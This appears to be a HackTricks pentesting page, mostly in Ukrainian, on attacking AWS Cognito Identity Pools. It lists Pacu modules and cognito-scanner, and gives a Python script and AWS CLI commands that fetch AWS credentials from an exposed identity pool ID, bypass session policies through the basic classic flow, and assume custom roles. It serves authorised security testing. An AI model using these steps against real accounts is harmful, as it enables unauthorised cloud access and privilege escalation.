Cognito Identity Pools

Support HackTricks

Basic Information

Identity pools виконують важливу роль, дозволяючи вашим користувачам отримувати тимчасові облікові дані. Ці облікові дані є необхідними для доступу до різних AWS сервісів, включаючи, але не обмежуючись, Amazon S3 та DynamoDB. Помітною особливістю identity pools є їх підтримка як анонімних гостьових користувачів, так і ряду постачальників ідентичності для аутентифікації користувачів. Підтримувані постачальники ідентичності включають:

  • Amazon Cognito user pools

  • Соціальні варіанти входу, такі як Facebook, Google, Login with Amazon та Sign in with Apple

  • Постачальники, що відповідають OpenID Connect (OIDC)

  • SAML (Security Assertion Markup Language) постачальники ідентичності

  • Ідентичності, аутентифіковані розробником

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Щоб згенерувати сесії Identity Pool, спочатку потрібно згенерувати ідентифікатор Identity ID. Цей ідентифікатор Identity ID є ідентифікацією сесії цього користувача. Ці ідентифікації можуть мати до 20 наборів даних, які можуть зберігати до 1 МБ пар ключ-значення.

Це корисно для збереження інформації про користувача (який завжди буде використовувати той самий ідентифікатор Identity ID).

Більше того, сервіс cognito-sync є сервісом, який дозволяє керувати та синхронізувати цю інформацію (в наборах даних, надсилаючи інформацію в потоках та повідомленнях SNS...).

Tools for pentesting

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентифікації тощо.

Для опису функцій модулів дивіться частину 2 блог-посту. Для інструкцій з установки дивіться основну сторінку Pacu.

Usage

Приклад використання cognito__attack для спроби створення користувача та всіх векторів ескалації привілеїв проти даного пулу ідентичностей та клієнта пулу користувачів:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи небажане створення облікових записів та ескалацію пулу ідентичностей.

Встановлення

$ pip install cognito-scanner

Використання

$ cognito-scanner --help

Для отримання додаткової інформації перевірте https://github.com/padok-team/cognito-scanner

Доступ до IAM ролей

Неавтентифіковані

Єдине, що атакуючий повинен знати, щоб отримати AWS облікові дані в додатку Cognito як неавтентифікований користувач, це ID пулу ідентичності, і цей ID повинен бути закодований в веб/мобільному додатку для його використання. ID виглядає так: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (його не можна зламати методом перебору).

Неавтентифікована роль IAM Cognito, створена через, за замовчуванням називається Cognito_<Назва пулу ідентичності>Unauth_Role

Якщо ви знайдете ID пулу ідентичності, закодований в додатку, і він дозволяє неавтентифікованим користувачам, ви можете отримати AWS облікові дані за допомогою:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Або ви можете використовувати наступні aws cli команди:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Зверніть увагу, що за замовчуванням неавтентифікований cognito користувач НЕ МОЖЕ мати жодних дозволів, навіть якщо вони були призначені через політику. Перевірте наступний розділ.

Розширений vs базовий потік автентифікації

Попередній розділ слідував за замовчуванням розширеному потоку автентифікації. Цей потік встановлює обмежувальну політику сесії для сесії ролі IAM, що генерується. Ця політика дозволить сесії використовувати послуги з цього списку (навіть якщо роль мала доступ до інших послуг).

Однак є спосіб обійти це, якщо пул ідентичності має увімкнений "Базовий (Класичний) Потік", користувач зможе отримати сесію, використовуючи цей потік, який не матиме цієї обмежувальної політики сесії.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Якщо ви отримали цю помилку, це тому, що базовий потік не увімкнено (за замовчуванням)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Маючи набір облікових даних IAM, вам слід перевірити які права ви маєте і спробувати підвищити привілеї.

Аутентифіковані

Пам'ятайте, що аутентифікованим користувачам можуть бути надані різні дозволи, тому якщо ви можете зареєструватися в додатку, спробуйте це зробити і отримати нові облікові дані.

Також можуть бути доступні ролі для аутентифікованих користувачів, які отримують доступ до Identity Pool.

Для цього вам може знадобитися доступ до постачальника ідентичності. Якщо це Cognito User Pool, можливо, ви зможете зловживати поведінкою за замовчуванням і створити нового користувача самостійно.

IAM роль Cognito, аутентифікована через, за замовчуванням називається Cognito_<Identity Pool name>Auth_Role

У будь-якому випадку, наступний приклад передбачає, що ви вже увійшли в Cognito User Pool, який використовується для доступу до Identity Pool (не забувайте, що також можуть бути налаштовані інші типи постачальників ідентичності).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Отримайте identity_id з відповіді попередньої команди
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# У IdToken ви можете знайти ролі, до яких має доступ користувач через групи User Pool
# Використовуйте --custom-role-arn, щоб отримати облікові дані для конкретної ролі
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Можливо налаштувати різні ролі IAM в залежності від постачальника ідентичності, під яким користувач увійшов, або навіть просто в залежності від користувача (використовуючи претензії). Тому, якщо у вас є доступ до різних користувачів через одного або різних постачальників, можливо, варто увійти та отримати доступ до ролей IAM всіх з них.

Підтримати HackTricks

Last updated